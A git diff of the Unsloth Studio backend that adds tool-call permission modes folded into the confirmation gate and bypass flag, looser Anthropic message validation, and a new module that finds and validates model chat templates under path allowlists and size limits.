+            "The n_ctx the active GGUF load was invoked with (0 = Auto). Lets the "
+            "UI re-seed a Manual + Auto-layers context pin on hydration, where "
+            "context_length only exposes the resolved value. None for non-GGUF."
+        ),
+    )
+    n_layers: Optional[int] = Field(
+        None,
+        description = "Model's layer count (GGUF block_count), for the manual gpu-layers ceiling.",
+    )
+    n_moe_layers: int = Field(
+        0,
+        description = "Model's MoE expert-layer count (the n_cpu_moe ceiling); 0 if not an MoE model.",
+    )
+    gpu_ids: Optional[List[int]] = Field(
+        None,
+        description = "Physical GPU indices the model is pinned to, or None for automatic selection.",
+    )
     llama_cpp_supports_mtp: bool = Field(
         True,
         description = (
@@ -469,7 +723,7 @@ class ImageContentPart(BaseModel):
 class InputDocumentContentPart(BaseModel):
     """Document (PDF / file) content part in a multimodal message.
 
-    Studio-normalised shape (file_data or file_url, plus optional filename/media_type).
+    Unsloth-normalised shape (file_data or file_url, plus optional filename/media_type).
     Mapped onto Anthropic ``document`` / OpenAI ``input_file`` for vision providers;
     dropped for non-vision providers.
     """
@@ -625,12 +879,29 @@ class ThinkingConfig(BaseModel):
     """Anthropic-compatible thinking/reasoning configuration.
     Use type='disabled' to turn off thinking, or type='enabled' to turn it on.
     Only type is read; extra fields (e.g. budget_tokens) are ignored, since
-    Studio sets provider thinking budgets itself.
+    Unsloth sets provider thinking budgets itself.
     """
 
     type: Literal["disabled", "enabled"] = "disabled"
 
 
+# Recognized permission_mode values. The field accepts a plain string rather than
+# a Literal so an unrecognized value from a newer UI/client degrades to the
+# safest gate ("ask") instead of a 422; the tool loops apply the same unknown ->
+# ask fallback, so normalizing here keeps that forward-compat path reachable at
+# the API boundary. None stays unset ("behaves as 'ask'" without self-enabling
+# the confirm gate).
+_KNOWN_PERMISSION_MODES = ("ask", "auto", "off", "full")
+
+
+def _normalize_permission_mode(value: Any) -> Any:
+    if value is None:
+        return None
+    if value not in _KNOWN_PERMISSION_MODES:
+        return "ask"
+    return value
+
+
 class ChatCompletionRequest(BaseModel):
     """OpenAI-compatible chat completion request.
 
@@ -667,7 +938,7 @@ class ChatCompletionRequest(BaseModel):
         None,
         description = (
             "OpenAI function-tool definitions. When provided without `enable_tools=true`, "
-            "Studio forwards the tools to the backend so the model returns structured "
+            "Unsloth forwards the tools to the backend so the model returns structured "
             "tool_calls for the client to execute (standard OpenAI function calling)."
         ),
     )
@@ -776,6 +1047,19 @@ class ChatCompletionRequest(BaseModel):
         False,
         description = "[x-unsloth] Bypass Permissions: when true, skip the tool-call confirmation gate AND disable the python/terminal execution sandbox (safety checks, command blocklist, resource limits). Secret env vars are still stripped. Takes precedence over confirm_tool_calls.",
     )
+    permission_mode: Optional[str] = Field(
+        None,
+        description = (
+            "[x-unsloth] Permission level for local tool calls. 'ask' pauses every "
+            "call for approval; 'ask'/'auto' enable the confirmation gate on their "
+            "own (needs a streaming request to deliver prompts). 'auto' ('Approve for "
+            "me') only pauses calls detected as potentially unsafe (state-mutating "
+            "terminal/python/MCP calls); read-only calls run immediately, and the "
+            "sandbox stays on. 'full' is equivalent to bypass_permissions=true (no "
+            "confirmation, no sandbox). Unset behaves as 'ask'. An unrecognized value "
+            "(e.g. from a newer client) is treated as 'ask'."
+        ),
+    )
     auto_heal_tool_calls: Optional[bool] = Field(
         True,
         description = "[x-unsloth] Auto-detect and fix malformed tool calls from model output.",
@@ -814,6 +1098,10 @@ class ChatCompletionRequest(BaseModel):
         None,
         description = "[x-unsloth] Session/thread ID for scoping tool execution sandbox.",
     )
+    thread_id: Optional[str] = Field(
+        None,
+        description = "[x-unsloth] Conversation ID for scoping stateful tool sessions (e.g. stdio MCP); stays per-thread where session_id may be shared project-wide.",
+    )
     rag_scope: Optional[dict] = Field(
         None,
         description = (
@@ -1035,6 +1323,52 @@ class ChatCompletionRequest(BaseModel):
             self.enable_thinking = self.thinking.type == "enabled"
         return self
 
+    @field_validator("permission_mode", mode = "before")
+    @classmethod
+    def _coerce_permission_mode(cls, value: Any) -> Any:
+        # Accept any string so an unknown mode degrades to 'ask' instead of a
+        # 422; mirrors the tool loops' unknown -> ask fallback.
+        return _normalize_permission_mode(value)
+
+    @model_validator(mode = "after")
+    def _fold_full_permission_into_bypass(self) -> "ChatCompletionRequest":
+        """permission_mode='full' is the documented equivalent of
+        bypass_permissions=true, so fold it in before any route guard reads
+        the flag (else a full request would trip the confirm-gate rejections)."""
+        if self.permission_mode == "full":
+            self.bypass_permissions = True
+        elif self.bypass_permissions:
+            # Legacy bypass callers map onto Full access (mirrors the tool loop).
+            self.permission_mode = "full"
+        elif self.permission_mode == "off":
+            # "Off" never prompts, so route guards must see confirm disabled.
+            self.confirm_tool_calls = False
+        elif (
+            self.permission_mode == "ask"
+            and self.confirm_tool_calls is None
+            and not (self.provider_id or self.provider_type)
+            and (self.enable_tools is True or bool(self.mcp_enabled))
+        ):
+            # "Ask" gates every call, so a direct API caller that omits the legacy
+            # confirm flag must still hit the confirmation gate for Unsloth's own
+            # tool loop. An explicit confirm_tool_calls=False wins over the mode
+            # (mirrors _permission_mode_confirm and the Anthropic pre-switch guard),
+            # so only self-enable when the flag is unset. Only self-enable when that
+            # loop is actually requested
+            # (enable_tools / mcp_enabled) -- the router enters the loop on those
+            # signals, not on enabled_tools alone (which merely filters which tools
+            # run). A plain client-tool passthrough (client-supplied `tools` that
+            # Unsloth does not execute) must route verbatim, and external-provider
+            # routing rejects confirm_tool_calls with tools, so skip the fold there.
+            #
+            # "auto" is deliberately NOT folded: it only prompts for a call the
+            # classifier flags, so leaving confirm_tool_calls unset lets the route's
+            # _confirm_gate_needs_stream apply the safe-only exception (a safe-only
+            # auto selection needs no stream) instead of an explicit-confirm forcing
+            # stream=true. The mode still drives the loop's per-call gate.
+            self.confirm_tool_calls = True
+        return self
+
 
 class ToolConfirmRequest(BaseModel):
     session_id: Optional[str] = None
@@ -1146,7 +1480,8 @@ class CompletionMessage(BaseModel):
     """The assistant's complete response message."""
 
     role: Literal["assistant"] = "assistant"
-    content: str
+    # ``None`` on a pure tool-call turn (OpenAI content=null); string otherwise.
+    content: Optional[str] = None
     refusal: Optional[str] = None
     reasoning_content: Optional[str] = None
     tool_calls: Optional[list[dict]] = None
@@ -1531,12 +1866,41 @@ class AnthropicToolResultBlock(BaseModel):
     tool_use_id: str
     content: Union[str, list] = ""
 
+    @field_validator("content", mode = "before")
+    @classmethod
+    def _coerce_null_content(cls, v):
+        # Some clients send null content for an empty tool result; the str|list
+        # union would 400 on it, so treat null as "".
+        return "" if v is None else v
+
+
+# Block types the converter translates explicitly. Anything else (thinking /
+# redacted_thinking, a provider block a resumed session replays, or a future type)
+# is accepted as an unknown block and dropped by the converter, rather than 400-ing
+# the whole request on strict validation.
+_KNOWN_ANTHROPIC_BLOCK_TYPES = frozenset({"text", "image", "tool_use", "tool_result"})
+
+
+class AnthropicUnknownBlock(BaseModel):
+    type: str
+    model_config = {"extra": "allow"}
+
+    @field_validator("type")
+    @classmethod
+    def _only_unknown_types(cls, v):
+        # Known types parse as their typed models above (so a malformed known block
+        # still fails cleanly); this fallback only catches the rest.
+        if v in _KNOWN_ANTHROPIC_BLOCK_TYPES:
+            raise ValueError("known block type handled by its typed model")
+        return v
+
 
 AnthropicContentBlock = Union[
     AnthropicTextBlock,
     AnthropicImageBlock,
     AnthropicToolUseBlock,
     AnthropicToolResultBlock,
+    AnthropicUnknownBlock,
 ]
 
 
@@ -1581,6 +1945,40 @@ class AnthropicMessage(BaseModel):
     role: Literal["user", "assistant"]
     content: Union[str, list[AnthropicContentBlock]]
 
+    @model_validator(mode = "before")
+    @classmethod
+    def _normalize_content(cls, data):
+        # Role-aware leniency that never silently drops real user input:
+        #  - assistant: a resumed tool-only turn's null content -> "" (str|list would
+        #    400 on null; "" keeps the converter's `for block in content` safe).
+        #    Unknown blocks (thinking / future types) validate via
+        #    AnthropicUnknownBlock and are dropped by the converter.
+        #  - user: keep strict. Null user content stays None so str|list rejects it
+        #    (400) rather than forwarding an empty prompt; and reject block types the
+        #    converter cannot translate, since it silently skips unknown user blocks
+        #    -- a user turn made only of them would validate yet send no content
+        #    (silent data loss).
+        if not isinstance(data, dict):
+            return data
+        content = data.get("content")
+        if data.get("role") == "assistant":
+            # Coerce only an explicit null (resumed tool-only turn). A missing
+            # content key stays malformed so the required-field check still 400s.
+            if "content" in data and content is None:
+                return {**data, "content": ""}
+            return data
+        if isinstance(content, list):
+            for block in content:
+                btype = (
+                    block.get("type") if isinstance(block, dict) else getattr(block, "type", None)
+                )
+                # Guard the value: a non-string type is unsupported too, and a
+                # membership test on an unhashable value would raise TypeError
+                # (escaping as a 500 instead of a clean 400).
+                if not isinstance(btype, str) or btype not in _KNOWN_ANTHROPIC_BLOCK_TYPES:
+                    raise ValueError(f"unsupported content block type {btype!r} in a user message")
+        return data
+
 
 class AnthropicTool(BaseModel):
     # Client tools have input_schema; server tools may only have type/name.
@@ -1617,11 +2015,19 @@ class AnthropicMessagesRequest(BaseModel):
     enable_tools: Optional[bool] = None
     enabled_tools: Optional[list[str]] = None
     session_id: Optional[str] = None
+    thread_id: Optional[str] = Field(
+        None,
+        description = "[x-unsloth] Conversation ID for scoping stateful tool sessions (e.g. stdio MCP); stays per-thread where session_id may be shared project-wide.",
+    )
     cancel_id: Optional[str] = None
     bypass_permissions: Optional[bool] = Field(
         False,
         description = "[x-unsloth] Bypass Permissions: when true, disable the python/terminal execution sandbox (safety checks, command blocklist, resource limits) for server-side tool calls. Secret env vars are still stripped. Declared explicitly (not relied on via extra='allow') so omitted requests default to False instead of raising AttributeError.",
     )
+    permission_mode: Optional[str] = Field(
+        None,
+        description = "[x-unsloth] Permission level for local tool calls: 'ask' pauses every call, 'auto' only pauses calls detected as potentially unsafe, 'off' never pauses (sandbox stays on), 'full' equals bypass_permissions=true. Unset behaves as 'ask'; an unrecognized value (e.g. from a newer client) is treated as 'ask'. Declared explicitly so omitted requests default to None instead of raising AttributeError.",
+    )
     auto_heal_tool_calls: Optional[bool] = Field(
         True,
         description = "[x-unsloth] Auto-detect and fix malformed tool calls from model output (mirrors the Chat Completions field; applies to the client-tool passthrough).",
@@ -1663,6 +2069,27 @@ class AnthropicMessagesRequest(BaseModel):
         normalized["system"] = _merge_anthropic_system(normalized.get("system"), system_additions)
         return normalized
 
+    @field_validator("permission_mode", mode = "before")
+    @classmethod
+    def _coerce_permission_mode(cls, value: Any) -> Any:
+        # Accept any string so an unknown mode degrades to 'ask' instead of a
+        # 422; mirrors the tool loops' unknown -> ask fallback.
+        return _normalize_permission_mode(value)
+
+    @model_validator(mode = "after")
+    def _fold_full_permission_into_bypass(self) -> "AnthropicMessagesRequest":
+        """permission_mode='full' equals bypass_permissions=true (mirrors the
+        Chat Completions request)."""
+        if self.permission_mode == "full":
+            self.bypass_permissions = True
+        elif self.bypass_permissions:
+            # Legacy bypass callers map onto Full access (mirrors the tool loop).
+            self.permission_mode = "full"
+        elif self.permission_mode == "off":
+            # "Off" never prompts, so route guards must see confirm disabled.
+            self.confirm_tool_calls = False
+        return self
+
 
 # ── Response models ────────────────────────────────────────────
 
diff --git a/studio/backend/models/models.py b/studio/backend/models/models.py
index 54e88fed58..df6725c9c9 100644
--- a/studio/backend/models/models.py
+++ b/studio/backend/models/models.py
@@ -178,6 +178,14 @@ class LocalModelInfo(BaseModel):
         None,
         description = "HF repo id for cached models, e.g. org/model",
     )
+    active_cache: Optional[bool] = Field(
+        None,
+        description = "Whether an HF model belongs to the current download cache.",
+    )
+    partial: bool = Field(
+        False,
+        description = "Whether the cached model has an incomplete download.",
+    )
     model_format: Optional[str] = Field(
         None,
         description = "Detected weights format ('gguf' when known). Lets the UI "
diff --git a/studio/backend/models/training.py b/studio/backend/models/training.py
index ff815a2fa9..0f88b78f9f 100644
--- a/studio/backend/models/training.py
+++ b/studio/backend/models/training.py
@@ -446,7 +446,7 @@ class TrainingStartRequest(BaseModel):
     random_seed: int = Field(
         3407,
         description = (
-            "Random seed; matches the Studio backend / MLX worker default "
+            "Random seed; matches the Unsloth backend / MLX worker default "
             "and unsloth's historical recommended value."
         ),
     )
@@ -505,6 +505,13 @@ class TrainingStartRequest(BaseModel):
         description = "S3 bucket configuration for loading datasets from AWS S3. Requires boto3 to be installed.",
     )
 
+    @field_validator("target_modules", mode = "before")
+    @classmethod
+    def _normalize_target_modules(cls, value: Any) -> Any:
+        # Sanitized non-LoRA history stores the unused value as null; treat it as a
+        # fresh request's omitted/default empty list on resume.
+        return [] if value is None else value
+
     @model_validator(mode = "after")
     def _validate_streaming_splits(self) -> "TrainingStartRequest":
         # Streaming load_dataset does not accept HF slice syntax (e.g. "train[:50%]"
diff --git a/studio/backend/picker/__init__.py b/studio/backend/picker/__init__.py
new file mode 100644
index 0000000000..32014236c6
--- /dev/null
+++ b/studio/backend/picker/__init__.py
@@ -0,0 +1,2 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
diff --git a/studio/backend/picker/routes/__init__.py b/studio/backend/picker/routes/__init__.py
new file mode 100644
index 0000000000..c0e988c8bb
--- /dev/null
+++ b/studio/backend/picker/routes/__init__.py
@@ -0,0 +1,6 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+from .templates import router as templates_router
+
+__all__ = ["templates_router"]
diff --git a/studio/backend/picker/routes/templates.py b/studio/backend/picker/routes/templates.py
new file mode 100644
index 0000000000..02b8bf7184
--- /dev/null
+++ b/studio/backend/picker/routes/templates.py
@@ -0,0 +1,45 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+from __future__ import annotations
+
+import asyncio
+from typing import Optional
+
+from fastapi import APIRouter, Body, Depends, Query
+
+from auth.authentication import get_current_subject
+from hub.dependencies import get_hf_token
+
+from ..schemas import (
+    MAX_CHAT_TEMPLATE_BYTES,
+    ModelTemplateResponse,
+    ValidateChatTemplateRequest,
+    ValidateChatTemplateResponse,
+)
+from ..service import read_default_chat_template, validate_chat_template
+
+router = APIRouter()
+
+
+@router.post("/validate-chat-template", response_model = ValidateChatTemplateResponse)
+async def validate_chat_template_route(
+    body: ValidateChatTemplateRequest = Body(...),
+    current_subject: str = Depends(get_current_subject),
+) -> ValidateChatTemplateResponse:
+    return await asyncio.to_thread(validate_chat_template, body.template)
+
+
+@router.get("/chat-template/{model_name:path}", response_model = ModelTemplateResponse)
+async def get_default_chat_template_route(
+    model_name: str,
+    gguf_variant: Optional[str] = Query(None),
+    hf_token: Optional[str] = Depends(get_hf_token),
+    current_subject: str = Depends(get_current_subject),
+) -> ModelTemplateResponse:
+    template = await asyncio.to_thread(
+        read_default_chat_template, model_name, hf_token, gguf_variant
+    )
+    if template is not None and len(template.encode("utf-8")) > MAX_CHAT_TEMPLATE_BYTES:
+        template = None
+    return ModelTemplateResponse(model_name = model_name, chat_template = template)
diff --git a/studio/backend/picker/schemas.py b/studio/backend/picker/schemas.py
new file mode 100644
index 0000000000..b4f956188f
--- /dev/null
+++ b/studio/backend/picker/schemas.py
@@ -0,0 +1,32 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+from typing import Optional
+
+from pydantic import BaseModel, Field, field_validator
+
+# Mirror the frontend's 64 KiB chat-template contract (per-model-config.ts) at
+# the API boundary so a direct caller cannot make Jinja parse an oversized
+# template. MaxBodyMiddleware only caps the whole request body, not this field.
+MAX_CHAT_TEMPLATE_BYTES = 65_536
+
+
+class ValidateChatTemplateRequest(BaseModel):
+    template: str = Field(default = "")
+
+    @field_validator("template")
+    @classmethod
+    def _enforce_template_size(cls, value: str) -> str:
+        if len(value.encode("utf-8")) > MAX_CHAT_TEMPLATE_BYTES:
+            raise ValueError(f"Chat template exceeds the {MAX_CHAT_TEMPLATE_BYTES}-byte limit.")
+        return value
+
+
+class ValidateChatTemplateResponse(BaseModel):
+    valid: bool
+    error: Optional[str] = None
+
+
+class ModelTemplateResponse(BaseModel):
+    model_name: str
+    chat_template: Optional[str] = None
diff --git a/studio/backend/picker/service.py b/studio/backend/picker/service.py
new file mode 100644
index 0000000000..ccf9c3e152
--- /dev/null
+++ b/studio/backend/picker/service.py
@@ -0,0 +1,432 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+from __future__ import annotations
+
+import json
+import logging
+import os
+import re
+from pathlib import Path
+from typing import Optional
+
+from hub.services.models.folder_browser import (
+    _build_browse_allowlist,
+    _is_path_inside_allowlist,
+)
+from hub.utils.gguf import extract_quant_label, iter_hf_cache_snapshots
+from utils.models.gguf_metadata import read_gguf_chat_template
+from utils.models.model_config import (
+    _extract_quant_label,
+    _is_big_endian_gguf_path,
+    _is_mmproj,
+    _is_mtp_drafter,
+)
+from utils.hf_cache_settings import active_hf_hub_cache
+from utils.paths.path_utils import (
+    is_local_path,
+    normalize_path,
+    resolve_cached_repo_id_case,
+)
+
+from .schemas import MAX_CHAT_TEMPLATE_BYTES, ValidateChatTemplateResponse
+
+logger = logging.getLogger(__name__)
+
+_VALID_REPO_ID = re.compile(r"^[A-Za-z0-9._-]+/[A-Za-z0-9._-]+$")
+
+
+def _is_valid_repo_id(repo_id: str) -> bool:
+    return bool(_VALID_REPO_ID.fullmatch(repo_id))
+
+
+_TOKENIZER_CONFIG_PATHS = ("tokenizer_config.json", "LLM/tokenizer_config.json")
+_JINJA_TEMPLATE_PATHS = ("chat_template.jinja", "LLM/chat_template.jinja")
+_PROCESSOR_TEMPLATE_PATHS = ("chat_template.json", "LLM/chat_template.json")
+
+# Cap sidecar reads so a malformed or hostile metadata file cannot exhaust memory
+# before its template is size-checked. The JSON envelope may exceed a bare template
+# (it carries other tokenizer metadata); the extracted template is still bounded by
+# MAX_CHAT_TEMPLATE_BYTES downstream.
+MAX_TEMPLATE_METADATA_BYTES = 4 * 1024 * 1024
+
+
+def _read_bounded_text(path: Path, limit: int) -> Optional[str]:
+    """Read at most `limit` bytes of UTF-8 text; None if larger or unreadable."""
+    try:
+        with path.open("rb") as f:
+            data = f.read(limit + 1)
+    except OSError:
+        return None
+    if len(data) > limit:
+        return None
+    try:
+        return data.decode("utf-8")
+    except UnicodeError:
+        return None
+
+
+def _leaf_inside_allowlist(path: Path, allow_roots: Optional[list[Path]]) -> bool:
+    # Block symlinked children from escaping the validated directory (realpath-checked).
+    # None = trusted caller (HF cache / remote download).
+    return allow_roots is None or _is_path_inside_allowlist(path, allow_roots)
+
+
+def validate_chat_template(template: str) -> ValidateChatTemplateResponse:
+    text = (template or "").strip()
+    if not text:
+        return ValidateChatTemplateResponse(valid = True, error = None)
+    # Import Jinja lazily: optional at runtime (e.g. GGUF-only installs), so a
+    # missing dependency must not crash API startup.
+    try:
+        from jinja2 import TemplateError
+        from jinja2.ext import Extension
+        from jinja2.sandbox import ImmutableSandboxedEnvironment
+    except ImportError:
+        return ValidateChatTemplateResponse(valid = True, error = None)
+
+    class _GenerationTag(Extension):
+        # Accept Transformers' {% generation %} assistant-mask tag so a pasted HF
+        # chat template validates (we only parse it).
+        tags = {"generation"}
+
+        def parse(self, parser):
+            next(parser.stream)
+            return parser.parse_statements(["name:endgeneration"], drop_needle = True)
+
+    try:
+        env = ImmutableSandboxedEnvironment(
+            trim_blocks = True,
+            lstrip_blocks = True,
+            extensions = ["jinja2.ext.loopcontrols", _GenerationTag],
+        )
+        env.parse(text)
+        return ValidateChatTemplateResponse(valid = True, error = None)
+    except TemplateError as exc:
+        message = getattr(exc, "message", None) or str(exc)
+        lineno = getattr(exc, "lineno", None)
+        if lineno:
+            message = f"Line {lineno}: {message}"
+        return ValidateChatTemplateResponse(valid = False, error = message)
+    except Exception as exc:
+        return ValidateChatTemplateResponse(valid = False, error = str(exc))
+
+
+def _chat_template_from_tokenizer_config(config: dict) -> Optional[str]:
+    if not isinstance(config, dict):
+        return None
+    raw = config.get("chat_template")
+    if isinstance(raw, str) and raw.strip():
+        return raw
+    if isinstance(raw, list):
+        fallback: Optional[str] = None
+        for entry in raw:
+            if not isinstance(entry, dict):
+                continue
+            template = entry.get("template")
+            if not isinstance(template, str):
+                continue
+            if entry.get("name") == "default":
+                return template
+            if fallback is None:
+                fallback = template
+        return fallback
+    return None
+
+
+def _chat_template_from_jinja_file(
+    dir_path: Path, allow_roots: Optional[list[Path]] = None
+) -> Optional[str]:
+    for rel in _JINJA_TEMPLATE_PATHS:
+        template_file = dir_path / rel
+        if not template_file.exists() or not _leaf_inside_allowlist(template_file, allow_roots):
+            continue
+        try:
+            if template_file.stat().st_size > MAX_CHAT_TEMPLATE_BYTES:
+                continue
+            template = template_file.read_text(encoding = "utf-8")
+        except Exception:
+            continue
+        if template.strip():
+            return template
+    return None
+
+
+def _chat_template_from_processor_payload(payload: object) -> Optional[str]:
+    # processor chat_template.json may be the template string itself or a
+    # {name: template} map, not only a tokenizer_config-shaped object.
+    if isinstance(payload, str):
+        return payload if payload.strip() else None
+    template = _chat_template_from_tokenizer_config(payload)  # type: ignore[arg-type]
+    if template:
+        return template
+    if isinstance(payload, dict):
+        # Named-template map: prefer "default", else the first non-empty entry
+        # (mirrors the tokenizer-config list fallback).
+        default = payload.get("default")
+        if isinstance(default, str) and default.strip():
+            return default
+        for value in payload.values():
+            if isinstance(value, str) and value.strip():
+                return value
+    return None
+
+
+def _chat_template_from_processor_json(
+    dir_path: Path, allow_roots: Optional[list[Path]] = None
+) -> Optional[str]:
+    for rel in _PROCESSOR_TEMPLATE_PATHS:
+        config_file = dir_path / rel
+        if not config_file.exists() or not _leaf_inside_allowlist(config_file, allow_roots):
+            continue
+        raw = _read_bounded_text(config_file, MAX_TEMPLATE_METADATA_BYTES)
+        if raw is None:
+            continue
+        try:
+            payload = json.loads(raw)
+        except Exception:
+            continue
+        template = _chat_template_from_processor_payload(payload)
+        if template:
+            return template
+    return None
+
+
+def _chat_template_from_tokenizer_dir(
+    dir_path: Path, allow_roots: Optional[list[Path]] = None
+) -> Optional[str]:
+    jinja = _chat_template_from_jinja_file(dir_path, allow_roots)
+    if jinja:
+        return jinja
+    for rel in _TOKENIZER_CONFIG_PATHS:
+        config_file = dir_path / rel
+        if not config_file.exists() or not _leaf_inside_allowlist(config_file, allow_roots):
+            continue
+        raw = _read_bounded_text(config_file, MAX_TEMPLATE_METADATA_BYTES)
+        if raw is None:
+            continue
+        try:
+            config = json.loads(raw)
+        except Exception:
+            continue
+        template = _chat_template_from_tokenizer_config(config)
+        if template:
+            return template
+    return _chat_template_from_processor_json(dir_path, allow_roots)
+
+
+_GGUF_SCAN_MAX_DEPTH = 2
+
+
+def _iter_ggufs(dir_path: Path) -> list[Path]:
+    if dir_path == dir_path.parent:
+        return []
+    root = str(dir_path)
+    found: list[Path] = []
+    for current, dirs, files in os.walk(root, followlinks = False):
+        rel = os.path.relpath(current, root)
+        depth = 0 if rel == os.curdir else rel.count(os.sep) + 1
+        if depth >= _GGUF_SCAN_MAX_DEPTH:
+            dirs[:] = []
+        for name in files:
+            if not name.lower().endswith(".gguf") or _is_mmproj(name):
+                continue
+            path = Path(current) / name
+            try:
+                rel = path.relative_to(dir_path).as_posix()
+            except ValueError:
+                rel = name
+            quant = _extract_quant_label(rel)
+            if _is_mtp_drafter(rel) or _is_big_endian_gguf_path(rel, quant):
+                continue
+            found.append(path)
+    return found
+
+
+def _variant_matches(relative_path: str, needle: str) -> bool:
+    quant = _extract_quant_label(relative_path).lower()
+    if quant == needle:
+        return True
+    if extract_quant_label(relative_path).lower() == needle:
+        return True
+    prefix = f"{needle}-"
+    if not quant.startswith(prefix):
+        return False
+    suffix = quant[len(prefix) :]
+    if not suffix.endswith("bpw"):
+        return False
+    value = suffix[:-3]
+    return bool(value) and value.replace(".", "", 1).isdigit()
+
+
+_GGUF_SPLIT_INDEX_RE = re.compile(r"-(\d{3,})-of-\d{3,}$", re.IGNORECASE)
+
+
+def _is_nonfirst_gguf_split(path: Path) -> bool:
+    match = _GGUF_SPLIT_INDEX_RE.search(path.stem)
+    return match is not None and int(match.group(1)) != 1
+
+
+def _find_gguf_in_dir(dir_path: Path, gguf_variant: Optional[str]) -> Optional[Path]:
+    try:
+        ggufs = sorted(_iter_ggufs(dir_path))
+    except OSError:
+        return None
+    if not ggufs:
+        return None
+    needle = (gguf_variant or "").strip().lower()
+    if needle:
+        for path in ggufs:
+            try:
+                relative = path.relative_to(dir_path).as_posix()
+            except ValueError:
+                relative = path.name
+            if _variant_matches(relative, needle):
+                return path
+        return None
+    candidates = [path for path in ggufs if not _is_nonfirst_gguf_split(path)] or ggufs
+    try:
+        return max(candidates, key = lambda path: path.stat().st_size)
+    except OSError:
+        return candidates[0]
+
+
+def _chat_template_from_dir(
+    dir_path: Path,
+    gguf_variant: Optional[str] = None,
+    allow_roots: Optional[list[Path]] = None,
+) -> Optional[str]:
+    def from_gguf() -> Optional[str]:
+        gguf = _find_gguf_in_dir(dir_path, gguf_variant)
+        if gguf is None or not _leaf_inside_allowlist(gguf, allow_roots):
+            return None
+        return read_gguf_chat_template(str(gguf))
+
+    # Sidecar tokenizer files (chat_template.jinja / tokenizer_config.json) are the
+    # author's maintained template and supersede the GGUF's possibly-stale embedded
+    # copy. The variant only picks the GGUF fallback, so tokenizer-first precedence
+    # holds whether or not a variant is given.
+    return _chat_template_from_tokenizer_dir(dir_path, allow_roots) or from_gguf()
+
+
+def read_default_chat_template(
+    model_name: str,
+    hf_token: Optional[str] = None,
+    gguf_variant: Optional[str] = None,
+) -> Optional[str]:
+    if not isinstance(model_name, str) or not model_name.strip():
+        return None
+    name = model_name.strip()
+
+    if is_local_path(name):
+        try:
+            target = Path(normalize_path(name)).expanduser()
+            allow_roots = _build_browse_allowlist()
+            if not _is_path_inside_allowlist(target, allow_roots):
+                logger.debug("Refused chat template read outside allowed folders: %s", name)
+                return None
+            if name.lower().endswith(".gguf"):
+                # Prefer a maintained sidecar next to the file over the GGUF's
+                # embedded copy (tokenizer-first precedence, as elsewhere).
+                sidecar = _chat_template_from_tokenizer_dir(target.parent, allow_roots)
+                if sidecar:
+                    return sidecar
+                return read_gguf_chat_template(str(target))
+            return _chat_template_from_dir(target, gguf_variant, allow_roots)
+        except Exception as exc:
+            logger.debug("Could not read local chat template for %s: %s", name, exc)
+            return None
+
+    if not _is_valid_repo_id(name):
+        return None
+
+    resolved = resolve_cached_repo_id_case(name)
+
+    try:
+        # Resolve within each cached revision, newest first. A revision's sidecar
+        # supersedes its own embedded GGUF copy, but must not override a newer
+        # revision, so precedence stays per-snapshot rather than global.
+        for snapshot in iter_hf_cache_snapshots(resolved):
+            template = _chat_template_from_dir(snapshot, gguf_variant)
+            if template:
+                return template
+    except Exception as exc:
+        logger.debug("Could not read cached chat template for %s: %s", resolved, exc)
+
+    try:
+        from huggingface_hub import HfApi, hf_hub_download
+
+        _api = HfApi()
+
+        def _remote_exceeds_cap(rel: str) -> bool:
+            # Best-effort: skip the download when the remote's advertised size
+            # exceeds the cap, so a maliciously large sidecar is never fetched.
+            try:
+                infos = _api.get_paths_info(resolved, [rel], repo_type = "model", token = hf_token)
+            except Exception:
+                return False
+            for info in infos:
+                size = getattr(info, "size", None)
+                if (
+                    getattr(info, "path", None) == rel
+                    and isinstance(size, int)
+                    and size > MAX_TEMPLATE_METADATA_BYTES
+                ):
+                    return True
+            return False
+
+        def _download_text(rel: str) -> Optional[str]:
+            if _remote_exceeds_cap(rel):
+                return None
+            try:
+                path = hf_hub_download(
+                    resolved,
+                    rel,
+                    token = hf_token,
+                    cache_dir = active_hf_hub_cache(),
+                )
+                return _read_bounded_text(Path(path), MAX_TEMPLATE_METADATA_BYTES)
+            except Exception:
+                return None
+
+        for rel in _JINJA_TEMPLATE_PATHS:
+            template = _download_text(rel)
+            if not template or not template.strip():
+                continue
+            # A raw Jinja sidecar is the whole template, so it must fit the route's
+            # response cap (the local path skips oversized .jinja too). Download stays
+            # bounded at MAX_TEMPLATE_METADATA_BYTES so a large JSON embedding a small
+            # template still extracts below, but an over-cap Jinja is dropped so the
+            # search falls through to the tokenizer/processor template.
+            if len(template.encode("utf-8")) > MAX_CHAT_TEMPLATE_BYTES:
+                continue
+            return template
+
+        for rel in _TOKENIZER_CONFIG_PATHS:
+            raw = _download_text(rel)
+            if not raw:
+                continue
+            try:
+                config = json.loads(raw)
+            except Exception:
+                continue
+            template = _chat_template_from_tokenizer_config(config)
+            if template:
+                return template
+
+        for rel in _PROCESSOR_TEMPLATE_PATHS:
+            raw = _download_text(rel)
+            if not raw:
+                continue
+            try:
+                payload = json.loads(raw)
+            except Exception:
+                continue
+            template = _chat_template_from_processor_payload(payload)
+            if template:
+                return template
+
+        return None
+    except Exception as exc:
+        logger.debug("Could not fetch chat template for %s: %s", resolved, exc)
+        return None
diff --git a/studio/backend/plugins/data-designer-github-repo-seed/README.md b/studio/backend/plugins/data-designer-github-repo-seed/README.md
index 346d94b305..44519496f5 100644
--- a/studio/backend/plugins/data-designer-github-repo-seed/README.md
+++ b/studio/backend/plugins/data-designer-github-repo-seed/README.md
@@ -4,7 +4,7 @@ A Data Designer seed-reader plugin for **Unsloth Studio** that scrapes real
 GitHub data (issues, pull requests, commits) from one or more repositories
 and hands it to the recipe pipeline as a seed dataset.
 
-Designed to ship with Studio as a default seed source so any user with a
+Designed to ship with Unsloth as a default seed source so any user with a
 GitHub token can build training datasets straight from live repos.
 
 ## What it does
